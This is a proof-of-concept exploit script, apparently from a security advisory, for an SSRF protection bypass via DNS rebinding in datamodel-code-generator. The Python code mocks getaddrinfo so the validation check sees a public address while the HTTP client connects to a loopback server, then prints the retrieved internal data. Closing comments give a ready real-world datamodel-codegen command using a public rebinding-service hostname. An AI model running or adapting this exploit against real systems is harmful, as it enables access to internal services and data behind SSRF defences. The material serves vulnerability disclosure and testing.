CVE-2026-55391: datamodel-code-generator SSRF Protection Bypass via DNS Rebinding

# Structural PoC (derived from reporter's gist and advisory description).
# Patches socket.getaddrinfo to simulate DNS rebinding:
# - validation call sees 1.2.3.4 (public, passes guard)
# - httpx connection call sees 127.0.0.1 (internal, hits loopback server)

import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from unittest import mock

from datamodel_code_generator.http import get_body

# 1. Stand up a loopback server representing the internal target
INTERNAL_RESPONSE = b'{"type": "object", "properties": {"secret": {"type": "string"}}}'

class InternalHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(INTERNAL_RESPONSE)
    def log_message(self, *a): pass

server = HTTPServer(("127.0.0.1", 18080), InternalHandler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()

# 2. Patch getaddrinfo: first call (validation) returns public IP;
#    subsequent calls (httpx) return loopback.
call_count = 0
real_getaddrinfo = socket.getaddrinfo

def patched_getaddrinfo(host, port, *args, **kwargs):
    global call_count
    if host == "rebind.attacker.example":
        call_count += 1
        if call_count == 1:
            # Guard sees a public, globally-routable address -- passes validation
            return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", ("1.2.3.4", port or 80))]
        else:
            # httpx sees loopback -- connects to the internal server
            return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", ("127.0.0.1", 18080))]
    return real_getaddrinfo(host, port, *args, **kwargs)

with mock.patch("socket.getaddrinfo", side_effect=patched_getaddrinfo):
    body = get_body("http://rebind.attacker.example/schema.json")
    print("[+] SSRF succeeded. Got internal response:")
    print(body)

server.shutdown()

# Real-world trigger (no patching needed -- use a low-TTL rebinding domain):
# datamodel-codegen --url http://<rebinding-hostname>/schema.json --output model.py
# e.g. using a service like 1u.ms:
# datamodel-codegen --url "http://make-1.2.3.4-rebindfor0safter1times-127.0.0.1-rr.1u.ms/schema.json" --output model.py